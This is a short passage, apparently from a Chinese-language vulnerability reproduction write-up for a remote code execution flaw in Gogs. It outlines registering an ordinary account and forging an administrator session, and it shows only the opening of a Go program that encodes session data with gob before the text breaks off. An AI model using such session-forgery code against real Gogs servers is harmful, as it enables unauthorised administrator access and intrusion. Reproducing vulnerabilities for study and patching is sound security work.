Gogs_RCE 漏洞复现 0x01 前台注册普通账号 0x02 go 编译伪造管理员session go run maingo package main import ( "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gobRegister(v) }